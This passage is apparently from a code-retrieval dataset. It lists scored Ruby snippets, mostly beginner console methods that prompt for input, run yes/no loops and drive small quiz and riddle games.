"0.62830895", "text": "def sample\n puts @p.sample\n puts \"Another question?(y/n)\"\n answer = gets.strip.downcase\n # answer = @AANSWER\n if answer == 'y'\n magic_eight\n elsif answer == 'QUIT'\n puts \"Goodbye!\"\n exit(0)\n end\nend", "title": "" }, { "docid": "801ef25d37893c9c7709b0512afb953e", "score": "0.6273652", "text": "def result(result)\n puts \"Your answer is #{result}\"\n if result == 42\n puts \"You have discovered the meaning of life!\"\n end\n end", "title": "" }, { "docid": "1864759966b828f032317b856780dde3", "score": "0.62694556", "text": "def analyze_feedback_luxury\n puts \"No problem, let's get you looking fancy.\"\n # sleep(2)\n suggestion = Brand.choose_luxury(articles_question)\n puts \"All right, how about some #{suggestion.name}? They're worth $#{suggestion.price}.\"\n exit_or_retry?\nend", "title": "" }, { "docid": "dd178a480f8085a93c8bfafe25ba39bc", "score": "0.62681776", "text": "def ask(question)\n\tputs question\n\treturn gets.chomp()\nend", "title": "" }, { "docid": "cf4b97e56d771d2fc66edc1acc33dcb3", "score": "0.62639695", "text": "def guess_return\n puts \"This statement be returned by guess_return method.\"\nend", "title": "" }, { "docid": "d1d840476421359f08e493d8d67bac26", "score": "0.6261913", "text": "def prompting?; end", "title": "" }, { "docid": "5b2e729997f602d6e05272665788e1c1", "score": "0.62564754", "text": "def ask question\n print \"#{question} ? : \"\n $stdin.gets.chomp!\nend", "title": "" }, { "docid": "32a3988e84c681f25983e16ef0176bc8", "score": "0.62549335", "text": "def ask(question)\n # answer = gets\n # puts answer\n # gets # this will return gets\n print question + \" \"\n gets.chomp\nend", "title": "" }, { "docid": "95c466a638cb21297b965df64eeacad4", "score": "0.6249442", "text": "def introduces\n print \"\\nWould you like to calculate something? \"\n answer = gets.chomp\n until answer.downcase == \"yes\" || answer.downcase == \"no\"\n puts \"What? Please answer yes or no.\"\n answer = gets.chomp\n end\n return answer\nend", "title": "" }, { "docid": "a90174a758b7c73f20cf544cec08ac2e", "score": "0.62450767", "text": "def ask_wait_to_continue(question)\n puts question\n gets.chomp\nend", "title": "" }, { "docid": "e37662994d3317e512e39b1dfb237446", "score": "0.62213963", "text": "def q\r\n @_done = true\r\n puts\r\n \"Bye bye for now!\"\r\n end", "title": "" }, { "docid": "4df96e0ab594f0ca1ffaf9236f759f00", "score": "0.6211279", "text": "def questionMethod(prompt,body)\n print prompt\n puts body\nend", "title": "" }, { "docid": "ef2ff3e2259653afe3d809b927844017", "score": "0.6210297", "text": "def question(msg)\n puts msg\n gets.chomp\nend", "title": "" }, { "docid": "92bccad23b57924e184f5a7c10c7bd2d", "score": "0.620908", "text": "def display_question\n attack_select\n print \" #{@current_player_user}. #{@current_player.name} chose attack when ready: \"\n attack = gets.chomp.to_i\n the_question(attack)\n print \" #{@random_number1} #{@opperator} #{@random_number2} = \"\n player_attempt\n end", "title": "" }, { "docid": "e3f25e1200ddca095a0735f9077dfe24", "score": "0.6207104", "text": "def strum_hard\n puts \"***Twanggggg***\"\n end", "title": "" }, { "docid": "baf920399f048ad86525303c0ba0c7d1", "score": "0.62045354", "text": "def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\n\tanswer #This is what we return (tru or false)\nend", "title": "" }, { "docid": "bca293c39378c346c4d061fbd750416a", "score": "0.6201856", "text": "def answer_question(request)\n puts \"answering a Harry Potter related question: '#{request}'\"\n end", "title": "" }, { "docid": "8b14f2cca4c0ffe07523ce3a48ce7a61", "score": "0.62015146", "text": "def farewell \n # this is friendlier, no?\n puts \"Goodbye my friends!\"\n end", "title": "" }, { "docid": "04f7e46aff72f9cbd3a550837d0e1c06", "score": "0.6196012", "text": "def ask(question)\n print question + ' '\n gets.strip\nend", "title": "" }, { "docid": "396b907cf016051abc611c1b6a238fdf", "score": "0.61957693", "text": "def quiz\n puts \"\\n \\x1b[1;31m * WARNING: deploying to #{stage} * \\x1b[0;0m\\n\"\n a = rand(5)\n b = rand(5)\n puts \"Solve this puzzle before deploying\"\n puts \"#{a} + #{b} =\"\n c = STDIN.gets.chomp.to_i\n while c != a + b\n puts \"\\n#{a} + #{b} =\"\n c = STDIN.gets.chomp.to_i\n end\nend", "title": "" }, { "docid": "e3ee02ec5870cfc04590ad6b99c55e84", "score": "0.61926514", "text": "def guess(answer, standard)\n if answer == standard\n puts \"That's it!\"\n return true\n else\n puts \"Nope. I wasn't thinking of #{answer}.\"\n return false\n end\nend", "title": "" }, { "docid": "ab8c76e601aea7154891df43fa830f97", "score": "0.6192359", "text": "def ask(question)\n loop do\n puts question\n answer = gets.chomp\n\n return 'We can be friends!' if answer == 'y' || answer == 'yes'\n return 'Get out of my sight!' if answer == 'n' || answer == 'no'\n\n puts 'Try again'\n end\nend", "title": "" }, { "docid": "e883fa7ad3576c78b0a995ec469dfb3d", "score": "0.61914295", "text": "def get_answer\n input = $istream.gets.chomp\n $log.puts(input) unless $replay\n input\nend", "title": "" }, { "docid": "fae49263af25c016fed56c6406e9a654", "score": "0.6190955", "text": "def think\n answer = echo \"client is thinking\"\n echo answer\n end", "title": "" }, { "docid": "0609346af6f8725cbcc5fea604aa8a83", "score": "0.6186841", "text": "def ask (question)\n print question\n gets.chomp\nend", "title": "" }, { "docid": "04807af57331af703baefea601e7fc51", "score": "0.6186404", "text": "def ask(prompt)\n print prompt\n gets.chomp\nend", "title": "" }, { "docid": "a6e51d7f41b242c94774a51ff8a3fb29", "score": "0.61837244", "text": "def say_something_zenlike\n puts\n if !failed?\n puts \"Mountains are again merely mountains\"\n else\n case (@pass_count % 10)\n when 0\n puts \"mountains are merely mountains\"\n when 1, 2\n puts \"learn the rules so you know how to break them properly\"\n when 3, 4\n puts \"remember that silence is sometimes the best answer\"\n when 5, 6\n puts \"sleep is the best meditation\"\n when 7, 8\n puts \"when you lose, don't lose the lesson\"\n else\n puts \"things are not what they appear to be: nor are they otherwise\"\n end\n end\n end", "title": "" }, { "docid": "d110a6ab96316f3747a6f375f7de9764", "score": "0.6176439", "text": "def ask question \n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\treturn true \t\t\t #I like to state return values explictly\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\"'\n\t\tend\n\tend\nend", "title": "" }, { "docid": "b548df84e012a84f98851ab9d2e27499", "score": "0.6170365", "text": "def Who_are_you\n\tputs 'suryas car Toyota'\n\tend", "title": "" }, { "docid": "428b461c9a69f01dbbfb7f5eab30c538", "score": "0.6168987", "text": "def police_man\n\tputs \"You see a big police man staring at you funny.\"\n\tputs \"Options: You walk the other direction, you go ask him a question.\"\n\n\tsecond_answer = ask\n\tcase second_answer\n\twhen \"You walk the other direction\"\n\t\tputs \"Cop: \\\"Where are you going?\\\"\"\n\telse\n\t\tputs \"Cop: \\\"Haven't I arrested you before?\\\"\"\n\tend\nend", "title": "" }, { "docid": "22e3dff13718445f31e96d8d1b899e07", "score": "0.6168156", "text": "def answer_hint_pun\n\npun_riddle = false\nhint_counter = 0\n\n\nuntil pun_riddle\n\tmy_pun\n\n\tputs \"Can you guess what I am?\"\n\tputs \"Type [A] to answer, or [H] for a hint.\"\n\tspaces (2)\nanswer = gets.chomp.downcase\n\n\tif answer == \"a\"\n\t\tspaces(3)\t\n\t\tsystem 'figlet what am i?'\t\n\t\tmy_pun\n\t\tputs \"You think you KNOW me?! Ain't NOBODY know me.\"\n\t\tspaces(2)\n\t\tputs \"Enter your answer:\"\n\t\tuser_pun (wait_for_player)\n\t\tpun_riddle = true\n\t\t\n\telsif answer == \"h\"\n\t\tmy_pun\n\t\tspaces(2)\n\t\tif hint_counter < 2\n\t\tputs \"I don't blame you. I sound like a lunatic. I mean, I am, but that's not the answer.\"\n\t\tend\n\t\tif hint_counter < 6\n\t\t\t\n\t\t\tspaces(2)\n\t\t\tputs \"For your hint, you can ask any of these questions to find out what I am.\"\n\t\t\tspaces(1)\n\t\t\tputs \"Choose any of these yes or no questions by pressing [A], [B], [C], or [D].\"\n\t\t\tputs \"[A]: Are you an object?\"\n\t\t\tputs \"[B]: Can you be found in nature?\"\n\t\t\tputs \"[C]: Can I hold you in my hand?\"\n\t\t\tputs \"[D]: Are you alive?\"\n\t\t\tspaces(2)\n\t\t\tpuns_hints(wait_for_player)\n\t\t\thint_counter +=1\n\t\t\t\n\t\telse\n\t\t\tspaces(2)\n\t\t\tputs \"You must have gone through all the hints possible now.\"\n\t\t\tputs \"I uh... I have places to be, man.\"\n\t\t\tpun_riddle = true\n\t\tend\n\tend\n\nend\n\nend", "title": "" }, { "docid": "3f41424b64d62f5954f2a74590dbfa01", "score": "0.61664623", "text": "def return_guess\n puts \"What will be the return value here?\"\nend", "title": "" }, { "docid": "4acdccce58c21a1697291d26f032a70f", "score": "0.61623865", "text": "def answer\n DoneThat.answer\n end", "title": "" }, { "docid": "a83f1e6f722239941c45ccc2b2b65519", "score": "0.6156456", "text": "def answer_question(question)\n # TODO: Finish me\n end", "title": "" }, { "docid": "e139f61b913c7cd7b02376351d5be7b2", "score": "0.61551756", "text": "def second\n question\n puts \"Hello, #{STDIN.gets.chomp}, nice to meet you!\"\n end", "title": "" }, { "docid": "e441f204c0fa17fbcfd69000b19bf275", "score": "0.6154724", "text": "def result(answer)\n puts answer\nend", "title": "" }, { "docid": "3c7365a54ad2585cb3fbf616e0a2e947", "score": "0.6151285", "text": "def ask_question(question)\n\tprint question + \" \"\n\n\tgets.chomp\nend", "title": "" }, { "docid": "ab79e7ac0575b8286d7c4c3dc03fa872", "score": "0.61477876", "text": "def ask (question, kind = \"string\")\n print \"#{question} > \"\n answer = gets.chomp()\n return answer\nend", "title": "" }, { "docid": "79e05fa361f5101ab217c5c6dce94d79", "score": "0.6145999", "text": "def asks_question(question)\n puts question\n gets.chomp\nend", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "848c61426493971510af8ed76c4a5030", "score": "0.6138544", "text": "def prompt; end", "title": "" }, { "docid": "f1b00dd56a42784e123f2c878286ca37", "score": "0.6133827", "text": "def print_result\n puts\n puts \"Good job!!! You win!!!\"\n end", "title": "" }, { "docid": "f1b00dd56a42784e123f2c878286ca37", "score": "0.6133827", "text": "def print_result\n puts\n puts \"Good job!!! You win!!!\"\n end", "title": "" }, { "docid": "3e43600de0638d02d2b2e90a35190a95", "score": "0.61334586", "text": "def cartman_hates(thing)\r\n while false\r\n puts \"What's there to hate about #{thing}?\"\r\n end\r\nend", "title": "" }, { "docid": "454309e563b2e00eaa0275d575d84b46", "score": "0.61327374", "text": "def ask_question(question, options)\n say nil, \"*\" * 50\n say nil, question\n # DRY-up \"Options: \"\n say nil, \"Options: #{options}\"\n gets.chomp.downcase # canonicalization\nend", "title": "" }, { "docid": "4efd7eab97fdd7ae40450b93bc499ea3", "score": "0.61308813", "text": "def question\n\tputs \"This question is worth $25,000!\"\n\tputs \"Which of these U.S. Presidents appeared on the television series 'Laugh-In'?\"\n\tputs \"\\n\"\n\tputs \"A: Lyndon Johnson B: Richard Nixon\nC: Jimmy Carter D: Gerald Ford\"\n\tchoice = gets.chomp.strip\n\n\tn = 0\n\twinner(choice, n)\n\n\tputs \"This question is worth $25,000!\"\n\tputs \"In the children's book series, where is Paddington Bear originally from?\"\n\tputs \"\\n\"\n\tputs \"A: India B: Peru\nC: Canada D: Iceland\"\n\tchoice = gets.chomp.strip\n\n\tn += 1\n\twinner(choice, n)\n\n\tputs \"This question is worth $25,000!\"\n\tputs \"What letter must appear at the beginning of the registration number of all non-military aircraft in the U.S.?\"\n\tputs \"\\n\"\n\tputs \"A: N B: A\nC: U D: L\"\n\tchoice = gets.chomp.strip\n\n\tn += 1\n\twinner(choice, n)\n\n\tputs \"This question is worth $25,000!\"\n\tputs \"Who delivered the less famous two-hour speech that preceded Abraham Lincoln's two-minute Gettysburg Address?\"\n\tputs \"\\n\"\n\tputs \"A: Wendall Phillips B: Daniel Webster\nC: Robert G. Ingersoll D: Edward Everett\"\n\tchoice = gets.chomp.strip\n\n\tn += 1\n\twinner(choice, n)\n\twon()\n\tplay_again()\nend", "title": "" }, { "docid": "aa8f056d352d1d6e885a865b176ce20a", "score": "0.612852", "text": "def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\t\t\t\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\t\n\tanswer\nend", "title": "" }, { "docid": "d0853717f68d519377a60826b2c533e6", "score": "0.61202615", "text": "def ask_for(question)\n puts question\n gets.chomp\nend", "title": "" }, { "docid": "f29a445a9f55e42adda0bd77e51c6c90", "score": "0.61164427", "text": "def scary_stuff\n\t\tprint \"#{@name} can do some scary stuff! What do you want #{@name} to do? \\n (Scream, scare you, chase you or hide from you?): \"\n\t\tanswer = gets.chomp.downcase\n\n\t\tcase answer\n\t\twhen \"scream\"\n\t\t\tscream\n\t\twhen \"scare\" \n\t\t\tscare\n\t\twhen \"chase\"\n\t\t\tchase\n\t\twhen \"hide\"\n\t\t\thide\n\t\telse\n\t\t\tputs \"\\n Ok, maybe you'll want to play with #{name} a little later.\"\n\t\tend\n\t\trepeat\n\tend", "title": "" }, { "docid": "b2893618b8a46ca48ecd527d786357b0", "score": "0.61163414", "text": "def ask(prompt)\n print \"#{prompt} \"\n gets.to_s.chomp\nend", "title": "" }, { "docid": "b2893618b8a46ca48ecd527d786357b0", "score": "0.61163414", "text": "def ask(prompt)\n print \"#{prompt} \"\n gets.to_s.chomp\nend", "title": "" }, { "docid": "4ad8398a2e13c7ed626bbfe0f09139ff", "score": "0.6115298", "text": "def question(prompt)\n puts prompt\n output = gets.chomp\n return output\nend", "title": "" }, { "docid": "9d1947e3187aa2fd3ab92deaa85913c1", "score": "0.611487", "text": "def ask_user_print_everything(question, solar_system)\n answer = ask_user_yes_no(question)\n if answer == true\n puts \"\\nNo problem! Here's our entire encyclopedia.\\n\\n\"\n puts solar_system.print_everything\n return true\n end\nend", "title": "" }, { "docid": "9b03e552be6e6eaacd6889e502948d07", "score": "0.61146796", "text": "def ask\n begin\n puts self\n print \"Su respuesta: \" \n answerno = gets.to_i - 1\n end while (answerno < 0 or answerno >= @answers.length)\n @answers[answerno].is_right? \n end", "title": "" }, { "docid": "85faf6831f2d22b7dc33bf00e0782a0d", "score": "0.61137587", "text": "def prompt()\n puts \"\\n\"\n puts \"What's Bond gonna do? > \"\n puts \"*\" * 80\nend", "title": "" }, { "docid": "8511c4997b7c699d32eaf3c6b532b217", "score": "0.6113415", "text": "def prompt_s; end", "title": "" }, { "docid": "e8f4ac4f106dfe74d8990bca197a7f18", "score": "0.6107026", "text": "def ask (question)\n print question + \" \"\n answer = gets.chomp\n\nend", "title": "" }, { "docid": "43f11ff5e47cb4de8c54385b3f306355", "score": "0.6103025", "text": "def answer(to_question)\n puts to_question\n answer = gets.chomp\nend", "title": "" }, { "docid": "cc6d931e95b6248d0a7a37a1d8e48c79", "score": "0.6097942", "text": "def run_test(questions)\n\tanswer = \"\"\n\tscore = 0\n\tfor questions in questions\n\t\tputs questions.prompt\n\t\tanswer = gets.chomp()\n\t\tif answer == questions.answer\n\tend\nend\n\nputs (\"You got \" + score.to_s + \"/\" + questions.length().to_s)\nend", "title": "" }, { "docid": "3f362346ff2a6d80deeeca396a1a7c4e", "score": "0.6097104", "text": "def correct_answer\n puts \"You guessed the correct number!\"\nend", "title": "" }, { "docid": "34030afdbc62c95aaa70ef2dccdeb282", "score": "0.6093833", "text": "def request_input\n\t\tputs \"\"\n\t\tprint \"Enter your next letter or '0' to guess the answer: \"\n\tend", "title": "" }, { "docid": "725959e13ff68ea904afbd317c00b250", "score": "0.60913014", "text": "def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\tanswer # This is what we return (true or false)\nend", "title": "" }, { "docid": "5a435064f224a618795e896e4b21d787", "score": "0.6086096", "text": "def ask question \n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\"'\n\t\tend\n\tend\n\n\treturn answer \t#this is what we return true or false\n\t\t\t\t\t#I like to make what is being returned explicit\n\t\t\t\t\t#because its more intuitive.\n\tend", "title": "" }, { "docid": "4a0ab4a9c2a8f8026ed420c64bdd00a8", "score": "0.60790664", "text": "def ask_question(question)\n puts(\"\\n#{question}\")\n gets.chomp\n end", "title": "" }, { "docid": "321eb2aa5c9b4d2fa483502dc250ead1", "score": "0.60741997", "text": "def request\n puts \"What would you like to do?\"\n answer = gets.chomp!\n if answer == 'quit'\n puts 'bye'\n elsif answer == 'all'\n puts @candidates\n request\n elsif answer == 'qualified'\n qualified_candidates = qualified_candidates?(@candidates)\n ordered_by_qualifications(qualified_candidates)\n request\n elsif answer[5..6].to_i >= 0\n x = answer[5..6].to_i\n puts find(x)\n request\n else\n puts \"Sorry didn't quite get that\"\n request\n end\n\nend", "title": "" }, { "docid": "ce4ccea94ea3217b3e76dda84ae719e7", "score": "0.6073733", "text": "def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\tanswer # This is what we return (true or false).\nend", "title": "" } ]